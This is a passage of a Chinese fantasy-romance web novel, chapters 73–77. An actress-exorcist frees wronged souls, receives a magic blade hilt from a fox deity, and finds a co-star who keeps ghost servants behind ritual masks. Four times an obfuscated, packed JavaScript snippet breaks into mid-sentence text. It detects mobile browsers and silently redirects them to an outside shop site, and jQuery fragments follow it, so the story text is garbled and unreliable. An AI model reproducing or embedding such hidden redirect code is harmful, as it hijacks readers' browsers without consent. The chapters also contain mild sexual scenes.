左轻白和路回坐在公路上,面前的狐狸庙渐渐缩小,变回了盒子一样的大小,静静地立在路边。 左轻白看看路回,路回也看看左轻白。 “狐狸神想告诉我们什么,你懂了吗?”左轻白问。 “懂了。”路回说。 73. 意想不到的收获 晚上,左轻白和路回在酒店房间。 路回坐在桌前,笔记本电脑在他面前打开。路回在查些什么东西,他点开一篇文章,一看题目,题目是“尸体腐烂过程摘要”。 路回边看边念:“人死后2-4小时左右形成尸斑,尸斑的形成原理是人死后血液循环停止,心血管内的血液因缺乏动力,而沿着血管网坠积至尸体低下部位。” 左轻白走了过来,在路回身边坐下,搂住路回的胳膊。 路回对左轻白说:“尸斑多为暗紫红色,鹦鹉口中的‘变紫了’,就是尸体出现尸斑的意思。” 接着,路回往下滑,继续看那篇文章。 “人的胰脏器官具有自毁倾向,会在人死亡后将自己消化掉,这个过程产生各种液体,导致皮肤表面出现大量水疱。死亡一周左右,水疱胀满破裂,人体皮肤发生脱落。同样是死亡一周左右,由于微生物活动的缘故,尸体膨胀,变得巨大,产生’巨人观’现象。这就是鹦鹉口中的‘脱皮了’和‘变大了’。”路回说。 “所以,鹦鹉描述的是一个被拐卖的男人在猪圈中被杀死,尸体没有及时得到处理,在猪圈里慢慢腐烂的一系列过程?”左轻白道。 路回则说:“男人换成女人,在那个世界里,男女是颠倒的。” “那个世界其实就是性别颠倒的落英镇?” “嗯,或者说过去的落英镇。现在的落英镇靠着旅游业生活变好了,没有那种事了。” “但是,曾经的冤魂还在啊。这就是狐狸神想要告诉我的事,它想让我超度那些冤魂。” 冤魂不是鬼,所以左轻白没有闻到鬼气。 路回和左轻白把床移开,空出一大片空地出来,左轻白变出一支金色的毛笔,毛笔能画出金沙,左轻白用这支毛笔在空出来的空地上绘制超度冤魂的法阵。 “除了娶媳妇难,他们就没点其他报应吗?”路回问。 “有。回来的时候我问了酒店服务员,问他们为什么落英镇供奉狐狸神,服务员说,狐狸神是保佑身体健康和消灾避难的神灵,因为落英镇的男人吧,非自然死亡率一直都挺高,所以才供这个。我心想,供了狐狸神也没用,我看狐狸神的态度,它才懒得保佑呢。”左轻白一边画法阵一边说。 路回又问:“那只鹦鹉跟狐狸神是什么关系?狐狸养鹦鹉吗?” “倒是没听说过这种说法。”左轻白边画边说,“可能只是落英镇这只狐狸神的个人爱好。” 左轻白认认真真地把超度的法阵画好,路回让到一边。左轻白坐在法阵中央,双眼闭上,表情虔诚,这个状态的她身上仿佛带着神性。左轻白口中念道: “孤魂野鬼,游荡无依。” “归期何在,轮回何度。” “浮生往事,遥遥已往。” 左轻白额上显现金印,法阵上空结起结印,一个接一个萤火虫似的小光点从窗外飞进来,落在发着金光的法阵上,就好像小飞虫落入了蜘蛛网。 这些小光点就是这次左轻白要超度的冤魂。 当冤魂都被招来后,左轻白念起长长的超度咒,法阵裹着落在上面的小光点转了起来,然后逐渐变淡,直至完全消失。 超度仪式结束。 左轻白站了起来,正好这时路回叫的酒店外卖也到了。 “知道你做完法会饿,我叫了外卖。”路回说。 做法消耗体力,左轻白每次做完法都要吃很多。 “爱你!”左轻白搂着路回就是一顿亲。 “这还不够。”路回忽然说,“你在那个世界是怎么叫我的,再叫一次。我记得你当时叫我老公来着。” 在那个世界时,为了套大娘的话,左轻白说路回是她老公。 “老公!” 路回看着左轻白的脸,面露笑意,忍不住在她嘴上轻啄了一下,哑声说:“再叫一声。” “老公!” 路回忍不住搂上左轻白的腰,摁着她的后脑勺狠狠地吻上她的唇,压着她倒在软乎乎的床上。 次日清晨,两人去看了樱花谷的日出,在这里左轻白拍了一张自己的手和路回的手牵在一起的照片,左轻白把这张照片发到自己的社交媒体上,正式官宣恋情。 明星的社交账号一般不由明星自己管理,而是团队或者公司的人在管理,左轻白这张照片能发出去,肯定是经过公司那边同意了的。 废话,能不同意吗,毕竟照片里的另一只手就是公司老板的,老板让底下的员工同意的…… 看完樱花谷的日出后就要回程了,会有人来接他们。 回程前,左轻白遇到了一个人,一个肩膀上站着一只鹦鹉的女童。 早上天冷,女童戴着一顶毛茸茸的白帽子,她看起来年纪很小,只有十岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566205|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、十一岁的样子,瓜子脸,狐狸眼,小翘鼻,一脸精明相。 金绮月虽然凶,至少长相是个人畜无害的洋娃娃,但这个女童连长相都透露着凶相和不好惹,她的眼角是高高吊起来的,精明,且凶,面相像狐狸。 见到这个女童时,左轻白和路回分开了,由于游客渐渐多起来的缘故,旅游团一窝蜂地过来,把路回和左轻白冲散了。女童从树后面跳出来,拍了拍落单的左轻白。 左轻白一看女童肩膀上站着的那只鹦鹉,就马上猜到了女童的身份。 女童是狐狸神,鹦鹉是她养的。 “你是……狐狸神?”左轻白问。 “是。”女童吊眼一挑,轻佻地打量左轻白。 “我不喜欢废话。”狐狸神干脆利落地说,她的声音尖尖的,也跟狐狸一样,“你帮我做了一件事,我也要帮你做一件事才行。” 狐狸神说的是左轻白昨天晚上超度冤魂的事。 “我知道你在找弥月刃,干脆给你个线索吧。”狐狸神对左轻白说。 “真的?太好了!”左轻白很激动,“我找了这么久弥月刃,师父说它在剧组,可我跑了那么多剧组,影子都没找到。” 狐狸神嘻嘻一笑,道:“弥月刃是在剧组没错,但你连刀柄都没有,怎么找刀刃?” 狐狸神说完,拍了拍站在她肩上的那只鹦鹉的脑袋,鹦鹉突然嘴巴大张,吐出一个黑乎乎的刀柄来。 这应该是把长匕首,但只有光溜溜的空刀柄,刀柄上没有刀刃。 左轻白捡起刀柄,问:“这是弥月刃的刀柄?” “是啊,它的刀刃碎成了几块,你需要把碎片找回来,拼合在一起,才是一把完整的弥月刃。刀柄遇到刀刃碎片会有反应,下次你进组的时候记得把刀柄带在身上。” 左轻白一喜,“谢谢狐狸神!”原来自己跑了那么多组都没找到弥月刃,是因为方法没找对。 这时,路回发现了走散的左轻白,朝左轻白这边小跑过来。 狐狸神瞟了路回一眼,对左轻白说:“你老公来了,我先走了。” 说完,狐狸神窜回树后面,无声无息地消失了。 路回走到左轻白身边,见左轻白拿着一个黑乎乎的空刀柄,好奇地问:“这是什么?” “是狐狸神给我的,咱们这次旅行最让我意想不到的收获。”左轻白说。 74. 鬼奴的主人在哪 左轻白官宣恋情引起了一阵波澜,但也还好,左轻白不是爱豆,没有跟别的演员捆绑炒cp,作品演技也拿得出手,所以官宣恋情对左轻白的影响没有想象中的大。 左轻白现在也是有粉丝站的人了,很快,路回跟左轻白的同框图被站姐拍了下来,发到网上,网上议论纷纷: “不错嘛,姐夫长得真好看,姐姐牛逼。” “吃得真好。” “我羡慕嫉妒了。” “祝福吧。” …… 从落英镇回来后,左轻白就要进新的组了。虽然左轻白和路回在休假,但经纪人没放假啊,左轻白的工作,她的经纪人一直在接洽,都安排得妥妥当当的。 进组的前一天晚上,路回跟左轻白度过了一个甜蜜又旖旎的夜晚。 左轻白衣衫半褪,坐在路回身上。刺激传来,左轻白的头倏的扬起,脸上的表情似痛苦、似欢愉。 路回仰头看她,欣赏她像牡丹一样绽放,眼神痴迷又疯狂。 “啊。”左轻白轻吟一声,“我不行了。” 路回扶着她的腰,忽然上身挺起,搂着她将两人调换了位置。 左轻白被路回压在身下。 路回咬着左轻白的耳朵,低声笑道:“你不行了,可我还很行,怎么办?” 左轻白红着脸骂道:“给你能的,我就不信你一直行。俗话说,没有耕坏的地,只有累死的牛……嗯……” 骂声变成了呻.吟。 “你要真把我累死了,那就再说。反正牡丹花下死,做鬼也风流。”路回调整了一下姿势。 “你要是做了鬼,我就收了你。” “悉听尊便。”路回抚着左轻白的头发,吻上了左轻白的唇。 夜还很长。 如今两人蜜里调油,正值新欢,满脑子都是对方,谁也没工夫去想以后会怎样。 以后怎样以后再说吧。 左轻白新进的组是一个电影剧组。拍电影比拍电视剧的周期短很多,电视剧赶进度,电影更抠细节,一个镜头反反复复拍几十遍是很正常的。 这个电影讲述的是一个患有轻微自闭症的天才,协助警方侦破悬案的故事,左轻白这次不再饰演女警,而是饰演故事里的变态杀人狂。 左轻白参加剧本围读时,越读到后面就越兴奋,她对这次饰演的这个女魔头太感兴趣了,这个角色对她来说非常具有挑战性。 剧本围读完后,左轻白去试装,女魔头刚开始出现时是个温柔善良的小白兔形象,到最后才显露凶残的一面,左轻白把温柔的妆和暴戾的妆都试了,越试越兴奋,她已经迫不及待进入这个角色了。 如今左轻白已经完全适应了演员这个身份,她觉得一边当捉鬼师一边做演员这个副业,也挺不错的。 没错,在左轻白眼中,她的主业一直都是捉鬼师,演员是副业。 不过左轻白这人做事认真,就算是副业,她也会努力做好。 接下来就是认识剧组的各位演员和工作人员了。这次演员的情况有些特殊,有一个角色一直还没定下来,这个角色是故事中让自闭症男主第一次心动的女孩,导演说演这个女孩的演员,找明星客串可以,找纯素人也可以,怎么样都行,唯一的要求就是演这个女孩的演员一定要长得纯。 但就是这个“唯一的要求”最难满足。负责选角的副导演推荐了好几个,导演都不满意,所以这个角色一直空着。 已经定下来的演员陆陆续续都进组了,这些人里最后一个进组的,是饰演男主的归延。 归延是天赋型演员,13岁出道,一出道就出演电影主角,一演就拿了个演技大奖。这人很低调,除了演戏外没有什么别的新闻。因为太低调,所以归延的人气和热度都一般,但导演们都喜欢用他,一来是因为他演技确实很好,年轻一代里有他这个演技的真不多;二来是因为便宜,归延虽然拿过不少奖,但从不因此漫天要价;三来是因为这人听话好管理,虽然有些内向,但导演让干嘛就干嘛,从不多事,导演就喜欢这种事少的演员。 左轻白第一次看到归延,是踮着脚尖看的。 当时归延被他的团队成员,保镖啦、助理啦围的水泄不通,一群人就这么围着他来到剧组,左轻白很好奇,踮起脚尖去看他,只看到了他的一个后脑勺。 后来归延被安排在休息室休息,他休息时也被团队的人一圈一圈围着,听组里跟归延合作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591757|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的人说,归延这不是耍大牌,而是他这人吧,有严重的社交恐惧症,不敢跟人接触,只有在工作的时候才会好,所以才要把自己保护起来。 归延有社交恐惧症,这次他要饰演的男主有自闭症,不得不说导演太会找人了,这也太契合了,简直就是本色出演。 归延不古怪,社交恐惧症而已,现在很多年轻人都有,古怪的是围在归延身边的那些助理、保镖,这些人名义上是归延的团队成员,而实际上,身为金牌捉鬼师的左轻白早就看出,这些人不是人,而是鬼奴。 归延确确实实是个正常人类,然而他身边围着的所谓的团队成员,却全是鬼奴。 左轻白眯了眯眼,觉得事有蹊跷,她没有马上收了那些鬼奴,而是悄悄来到休息室门口,探头偷窥。 在一群鬼奴的重重包围中,左轻白看到了一个苍白的男孩。 归延其实20了,是个成年人,但左轻白更愿意用男孩而不是男人来形容他。这是一个内向的男孩,很瘦,发色和眸色都偏浅,五官相当精致,皮肤很白,坐姿乖巧,看起来安静而忧郁。这样一个男孩,虽然长得很好看,但却不会让女性产生任何性幻想,女性不会把他当成男朋友,而会把他当成需要保护的弟弟,他这种易碎的气质太容易激起女性的母性和保护欲了。 所以,喜欢归延的影迷给归延起了个外号,叫“极品弟弟”。 归延身边的一个男助理,啊不,一个鬼奴,剥了个橘子,小心翼翼地把橘子送到归延嘴边,归延像个小孩一样把头一扭,不吃。 这种小孩一样的动作,一个20岁的成年男子做起来应当是相当别扭的,但偏偏归延做起来就非常正常,他看起来像个易碎的瓷器,他天生就适合做这种动作。 归延好像生气了,鬼奴哄了他半天,又亲了亲他的额头,还抱了他许久,看上去对他非常宠,像爸爸对孩子一样宠。 这给左轻白看得目瞪口呆。 这是什么戏份? 不是……这些鬼奴为什么这么宠归延啊? 归延知不知道他身边这些助理啊、保镖啊都是鬼奴? 等一下,鬼奴是有主人的,它们依附于更高级别的鬼,这些鬼奴的主人在哪? 75. 冒了个尖尖在外面 左轻白敲了敲休息室的门。 那些“助理”和“保镖”拦住了左轻白。 左轻白朝休息室里看进去,挥着手朝归延打了个招呼。 “Hi!”左轻白笑眯眯地说,“归延老师,我想跟你讨论一下剧本,上次剧本围读你不在。” 左轻白笑得很和善,看起来没有一点攻击性,归延朝“助理”和“保镖”使了个眼色,他们听话地把左轻白放了进来。 左轻白搬了一把小椅子坐在归延面前,两人一人拿着一本剧本。 左轻白看着眼前的归延,归延的睫毛长而卷翘,眼睛湿漉漉的,小脸小巧精致,一脸无辜,看起来让人很想保护。 左轻白在心里说:看看,这才叫破碎感,这才叫纯欲风,男人玩得比女人溜! 左轻白开口说道:“归延老师能分析一下我这次演的这个反派吗?” 归延点点头,说:“她出生于名利场,但她不爱名利场。” “她不爱名利场,那她爱什么?”左轻白追问。 “她爱有人爱她。”归延说了一句绕口令一样的话,“你发现了吗,她第一次杀人,是因为曾经爱她的人移情别恋了,第二次杀人,是因为许诺过会爱她的人食言了,第三次杀人,是因为她暗恋的那个人没有爱上她。她希望有人爱她,但她得到的爱总是很匮乏,她干脆不要那些爱了,杀掉所有人就好了。”归延娓娓道来。 归延看剧本很认真,对人物有自己的理解,他这人不善言辞,一紧张还容易结巴,但一旦进入工作状态,他就换了个状态,从容又淡定,十分专业。 左轻白朝归延竖起大拇指,说:“归延老师说得真好。” 一个助理端着果盘走过来,这次是个女助理。 女助理蹲在左轻白和归延身旁,左轻白一转头,就看到了女助理身上的鬼气,女助理是鬼奴。 因为左轻白是客,所以女助理把果盘先递到左轻白面前,左轻白从果盘里捡了颗葡萄吃。 女助理又把果盘递到归延跟前,归延从果盘里选了个草莓。归延咬了一口草莓,立即眉头一皱,嘴巴一撇,说了一句:“酸。” 跟个撒娇的小孩似的。 女助理像是遇到了什么不得了的事情一样,非常紧张,她连忙拿走了归延说酸的那枚草莓,温柔地说道:“酸就不吃了,给我吃。” 说完,女助理把那枚草莓塞到自己口中,并从果盘里认真挑了另外一枚草莓,递给归延,哄道:“吃这颗,这颗甜。” 女助理望向归延的眼神充满了爱意,爱意足得仿佛能溢出来似的,这种爱意不是单一的,包含了崇拜、怜爱、慈爱、友爱、爱恋……什么类型的爱都有,仿佛既是妈,又是朋友,还是恋人。 这给左轻白看得目瞪口呆。 这时,剧组的工作人员朝休息室里喊:“归延老师!您过来试妆吧!” 轮到归延试妆了。 归延不想动,一个男保镖便走到归延坐的椅子前,把归延横抱起来。男保镖身高很高,归延身子腾空,或许是觉得有趣,归延“哈哈”笑了几声,欢快道:“快放我下来。” 男保镖把归延放到地上,他跟那个女助理一样,看向归延的眼中充满了宠溺。这里的鬼奴都爱归延。 左轻白从目瞪口呆变成了毛骨悚然。 归延对左轻白印象还不错,所以尽管是个社恐,但他不排斥左轻白,愿意跟左轻白多说话。归延回头对左轻白说:“轻白老师,我先去试妆,你可以在这里等我,一会我回来,咱们接着讨论剧本。” “好。”左轻白笑道。 女助理跟着归延去试妆了,男助理留了下来。 左轻白刚想从椅子上站起来,却突然被男助理摁住了肩膀。 左轻白眯了眯眼,望向男助理。男助理不知道左轻白是捉鬼师,但左轻白知道男助理是鬼奴,鬼奴主动招惹捉鬼师,可不就是找死? 但左轻白没着急行动,她想探个究竟。 “左小姐。”男助理彬彬有礼道,“我是您的粉丝,可以跟您拍张合影吗?” 这鬼奴看着是挺像人的。 左轻白心里好奇:这年头,连鬼奴都有这么好的人皮了? 鬼奴在鬼的等级划分里面是最低一级,很多鬼奴拥有不了一张人皮,只能以一些奇奇怪怪的形状存在,比如金绮月的人面蛇。然而这里这些鬼奴却个个披着人皮,都是普通人的模样。 “可以。”左轻白冲着男助理笑道。 左轻白跟男助理合影完,男助理又拿出一张小小的卡片送给左轻白。 “这是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616958|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对左小姐的祝福。”男助理说。 男助理送给左轻白的卡片上,正面写着“祝左轻白小姐长红”,背面则印着一幅画,画着华丽的西式城堡,城堡被荆棘包围。 卡片被鬼气萦绕,左轻白假装没看见,大大方方地收下了。 夜晚收工,左轻白回到酒店房间,正好路回打了视频电话过来,左轻白接了。这俩人正处于热恋期,恨不得时时刻刻看到对方。 左轻白把今天发生的事都告诉了路回。 “那个男助理是鬼奴?那他给你的卡片你还敢收?”路回说。 左轻白手里正拿着那张散发着鬼气的卡片,悠悠地说:“有什么不敢?鬼奴这种低级小鬼,我动动手指就收了,还怕他一张卡片?我是想查查这到底是怎么一回事。” 左轻白把卡片翻到背面,看着背面的画,对路回说:“你说城堡为什么会被荆棘包围啊?” 路回说:“我印象中西方童话里皇宫一旦发生什么意外,就会有荆棘把城堡包围起来,不让外人进入。” 路回还真认真地跟左轻白讨论起了这个话题。热恋期的情侣无论讨论什么无聊的话题都会感到有趣。 “比如说?” “《睡美人》里公主被纺锤刺伤,陷入沉睡后,城堡四周就长满了荆棘,把城堡围起来。” “这样啊……路总,见多识广哦。”左轻白嘻嘻哈哈道。 “小时候不都读过童话吗?” “谁说的,我就没有。我小时候在山里,山里没有童话书。” “下次休假,你带我去你长大的地方吧,我很好奇那是座什么样的山。” “这个……这个……我得想想办法。”左轻白支支吾吾道。 “怎么?难道捉鬼师小姐是从仙山下来的?我等凡人去不了?”路回开玩笑道。 “你别拿我开玩笑,那不是仙山,但是……是真去不了……” …… 两人有一搭没一搭地闲聊。如果说闲聊是浪费生命,有一个人愿意陪你浪费生命,那是幸运。 那张弥漫着鬼气的卡片被左轻白随手放在床边,画着城堡和荆棘的那面朝上。就在左轻白和路回聊天的时候,画里的荆棘仿佛活了,它们悄悄地生长,最后竟然钻出了卡片,冒了个尖尖在外面。 76. 我是傩戏师 左轻白挂了跟路回的视频通话后,就看见荆棘爬满了她的床角。 左轻白伸出手,轻轻碰了碰爬出来的荆棘,荆棘就像怪兽一样狠狠咬住左轻白的手,想把左轻白往卡片里拉。 左轻白笑道:“哟,就这么想让我进去啊?” 左轻白没有拒绝荆棘的“邀请”,进入了卡片。 展现在左轻白面前的是一座被荆棘包围的城堡,左轻白抽出自己的金色巨剑,劈开了荆棘,走进了城堡。 城堡已经荒废,一片荒芜。 左轻白捡起地上一个破旧的镜子,镜子中照出左轻白的脸。 突然,镜子中左轻白的脸消失了,镜子长出了一张嘴,只有一张嘴。 “你好啊,左轻白。”镜子对左轻白说。 “你好。”左轻白并不害怕,落落大方道。 “你想变好看吗?”镜子问左轻白。 “我觉得我现在挺好看的。” “我说的是更好看,娱乐圈里的女明星没有不希望自己变得更好看的。” “不想。” “别急着回答,我先给你看看效果。你往前看。” 左轻白往前一看,她看到了一个背影,这个背影跟左轻白一模一样。背影转了过来,是个人,五官跟左轻白也一模一样,只是死气沉沉的,像死人。 镜子里伸出一只长长的手,这只手长着十根手指,它把两只手的手指数量长在这一只手上来了。 手伸到假左轻白跟前,猝不及防地把假左轻白的一只眼睛摘了下来。 手把那只血淋淋的眼睛拿到真左轻白跟前,十根手指灵活地给眼睛动手术,边动边说:“眼角开一开,双眼皮拉一拉,就像这样……” 它弄好之后,把眼睛放了回去,对左轻白说:“对比一下,感觉怎么样?” 动过的眼睛确实更好看了,而且比一般整形医院做得更自然。左轻白问:“变好看有什么代价啊?” “代价很小,我们只要你的一点点精神气。这世上没有免费的午餐。” 左轻白连忙摇头,“拿走精神气人会变虚弱,我不换。我不要变好看了。” 左轻白不知好歹地拒绝,显然惹怒了镜子。镜子一声令下,那个假左轻白突然像个木偶一样机械地张开嘴,朝真左轻白扑来。假左轻白的表情很僵硬,像面具。 左轻白没有后退,而是举起金色巨剑,整个人一跃而起,朝扑过来的假左轻白狠狠一劈。 左轻白把对方的脸劈成两半,对方从额头到眉心到鼻尖再到人中和下巴的地方出现了一条血痕,把人脸一分为二。 左轻白轻盈地从半空中落下,落到地上,她落地的同时,有什么东西从假左轻白身上掉落了。左轻白一看,原来是一张面具,面具是自己的样子,被自己劈成了两半。 再看假左轻白没了面具之后的脸,那就是一个黑漆漆的洞,冒着黑烟和恶臭。一个软趴趴的长条形玩意从假左轻白的身体中钻了出来,这才是那鬼奴的原始形态,左轻白举剑把它斩成两半,让它灰飞烟灭。 左轻白拿起被自己劈成两半的面具,喃喃道:“我说怎么那些鬼奴个个都有人皮披,原来不是人皮,只是戴了面具。面具……傩戏?” 左轻白想到了傩戏。傩戏,又叫鬼戏,是东方一种古老的祭神跳鬼、驱瘟避疫的娱神舞蹈。传说厉害的傩戏师有通鬼的本领。 左轻白笑了,她看了看手中裂成两半的傩戏面具,又看了看周围的西式城堡,笑道:“东西方结合?真新潮。” 左轻白继续往前走,她走到了三个门前面。 左轻白推开了第一扇门,第一扇门里有一双正在跳舞的腿。没有脑袋、没有躯干,就只有一双人腿,那双腿不停地在跳舞。 那双腿问左轻白:“你想要永保魔鬼身材的秘诀吗?娱乐圈的女明星最怕胖了,我会让你以后怎么吃都不胖。你只需要用一点点精神气来跟我换。” 左轻白答非所问:“我想起来了,你们鬼奴喜欢吃人的精神气,对吧?” “对,精神气对我们来说是很好的食物。你精神气很足,我很想要。” “想要是吗?我偏偏不给。”左轻白说。 左轻白离开了第一扇门,在离开前她收了第一扇门里的鬼奴。 左轻白走进第二扇门,第二扇门里有一个只剩下脑袋和躯干、没有四肢的尸体,尸体开了口,问左轻白:“想要更好的镜头感吗,女明星天天面对镜头,你需要它。” “我不要。”左轻白淡淡地说。 左轻白离开了第二扇门,并收了第二扇门里的鬼奴。 左轻白推开了第三扇门。 在第三扇门里,左轻白看到了摆成一排的傩戏面具,每一个面具都精美得像艺术品一样。在这扇门里的一定是个厉害的傩戏师,只不过还没现身。 “传说厉害的傩戏师有通鬼的本领,什么叫通鬼的本领?”左轻白自言自语。 “鬼奴是厉害的鬼用鬼气给自己养的奴隶,也就是说鬼奴是鬼制造出来的。” “莫非……莫非不止是鬼能制造鬼奴?傩戏师也可以?通鬼的本领难道指的是这个?” “我懂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644417|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这些鬼奴的主人不是鬼,而是一个傩戏师。傩戏师造出了鬼奴,并蛊惑演员们献出精神气,用人的精神气来豢养鬼奴。他还让自己养的鬼奴都带上精心打造的傩戏面具,伪装成人的样子围在自己身边。”左轻白做出推断。 “让鬼奴伪装成人的样子围在自己身边,然后呢……然后他能得到什么?”左轻白忽然想到白天看到的归延与保镖助理们的相处模式,“得到……爱吗?” 左轻白继续往里走,边走边喊:“归延!你出来!我知道是你!出来跟我解释清楚这是怎么回事!” “你不出来,我就把你的城堡给劈了啊!”金色巨剑出现在左轻白手中。 在层层飞扬的白纱后面,左轻白找到了把自己打扮成小公主的归延——没错,是小公主,而不是小王子。 归延睡在摇椅里,他的爸妈,也就是国王和王后,分别坐在他两边,满脸慈爱,“小公主”归延被爱包裹。当然,所谓的“爸妈”不是归延的真爸妈,而是戴着傩戏面具的鬼奴罢了。 左轻白走了过去,二话不说提剑劈开“国王”和“王后”戴的傩戏面具,把扮演“国王”和“王后”的鬼奴给收了,整个过程行云流水,相当利落。 归延从摇椅上摔下来,他被左轻白吓坏了,尖叫起来。左轻白一把提起归延的衣领,刚想质问,却突然看见归延眼含泪水,梨花带雨。 归延本来就长得楚楚可怜的,这下反倒把左轻白给干愧疚了。 左轻白松了手,问归延:“你是傩戏师?” 归延拾起被左轻白劈坏的两个面具,委委屈屈地说:“你把我辛苦做的面具弄坏了。” 左轻白指了指归延身上的公主衣服,问:“你为什么穿裙子,你是伪娘?” “不是。”归延连忙摇头,“我只是觉得,公主更受宠爱。” 左轻白又一次想到白天看到的归延与保镖助理们的相处模式,问:“你就这么想要宠爱?你宠爱上瘾啊?” 归延不说话。 归延的沉默让左轻白抓狂,但左轻白是个有原则的捉鬼师,她轻易不对人类动粗。 “你是谁?”归延小声地问左轻白,“没有人能走到第三道门来,别人在前面就把精气神给出去了,给出去就可以离开了。” “自我介绍一下,我是金牌捉鬼师,左轻白。演戏是我的副业,捉鬼才是我的主业。” “捉鬼师?”归延一脸迷茫,他第一次听说这个职业。 归延低下头,手捂上自己的左脸,幽幽地说:“我是傩戏师,擅长做面具,现在我脸上就戴着一个。” 77. 你经历过什么 左轻白举起手中的金色巨剑,剑尖对准归延的左脸,似要把归延脸上的傩面具刺破。 归延尖叫一声,乞求道:“姐姐,求你,不要刺破我的面具。” 归延不愧是影迷口中的“极品弟弟”,他泪眼汪汪地叫左轻白“姐姐”,左轻白愣了一下,竟然心软了。 左轻白蹲在归延面前,难得有耐心地说:“那你跟姐姐说,这是怎么一回事?” 归延泪眼婆娑,说道:“姐姐,我养这些鬼奴没有害人,最多只是取了同组演员的一点点精神气而已。” “养鬼奴这件事情本身就是不对的。”左轻白觉得自己温柔得像幼儿园哄孩子的幼师。但有什么办法呢,眼前这个男孩脆弱得仿佛一碰就会碎,左轻白甚至都不好意思大声跟他说话。 归延说:“可我真的没有害人,我只是……只是太需要有人来爱我了。如果实在没有人爱我,那就不一定要是人,鬼奴也可以,怎么样都可以,只要能让我感受到一点点被爱就行。” 左轻白想到那些伪装成助理和保镖的鬼奴对归延无微不至的爱,这才恍然大悟,原来归延要的一直都是爱,没有人爱他,那他就自己养一堆鬼奴来爱自己。 在人身上得不到爱,只能从鬼奴身上找?但是真的没有人爱归延吗?怎么可能呢? 左轻白不觉得有谁会没人爱,哪怕是孤儿出身的左轻白,也不是孤苦伶仃,她在原来的世界有师父、师兄师姐、师弟师妹,来了这个世界,她还有路回。 “你是明星,影迷对你的爱不是爱吗?”左轻白问归延。 “他们只爱我银幕上的形象,那不算。” “那……你没有爱人吗?” “没有。” “你没有朋友吗?” “没有。” “为什么不谈恋爱不交朋友啊?” “谈恋爱和交朋友都不可避免会伴随着伤害,我不想自己受伤,我知道我脆弱。” “你是孤儿吗?” “不是。” “那你就是有家人咯,你的家人总爱你吧?” “他们不爱我。” “怎么可能。” “我是童星出身,成名之后爸妈发现我能挣钱,就频繁地让我走穴、接戏、接广告,他们给我排的工作太满了,我真的很累,我不想去,但只要我说不想去,他们就会发脾气。我爸妈一个好赌一个好酒,这两个爱好都花钱,他们从来没有好好为我做过人生规划,他们只想榨干我最后一点价值去挣钱。这样的父母,能说是爱我吗?” 左轻白惊得说不出话来。 归延又继续说:“我后来为什么能脱离他们,是因为有一次我在走穴演出时晕倒了,送去医院后查出脑子里长了肿瘤,而我爸妈居然一无所知。有未成年人保护中心的人来了解情况,指责我爸妈疏于照顾,因为当时我有些名气,所以有记者一路跟拍,这件事情才闹大了,有人发现我小小年纪居然严重过劳。舆论的声音大了之后,我爸妈受到了惩罚,而我被未成年人保护中心救助了。” 归延童星出身,当年他这个事情闹得挺大的,很多人听说过,但左轻白是从异世界来的,所以左轻白不知道。 归延盯着左轻白的眼睛看,幽怨道:“像我这样的人,没有去报复社会,只是养了几个鬼奴来爱自己,我已经做得够好了不是吗?连这都不允许吗?姐姐,你进来之后把我的鬼奴全收了,可以把他们还给我吗?他们是鬼奴还是人不重要,我只知道这世上只有他们能爱我。” 归延见左轻白不说话,继续求道:“姐姐,算我错了行吗?我不认得您这尊大神,不应该把你收进我的幻境城堡来,我以后不会再惹你了。” 左轻白开口问:“这个幻境城堡需要很大的能量才能建造起来,你只是个会做面具的傩戏师,不是修炼者,你没有这种能量。你告诉我,建造幻境城堡的能量,你是从哪里得到的?” “我告诉你了,你能把我的鬼奴都还给我吗?” “可以,你告诉我我就还给你。” “好。”归延欣喜道。 归延从一个抽屉里取出一枚发着冷光的铁片,像是刀剑的碎片。归延把它捧到左轻白面前。 归延说:“姐姐你说得对,建造这个幻境城堡需要很多能量,而我没有那种能量,能量都是这片碎片提供的。” 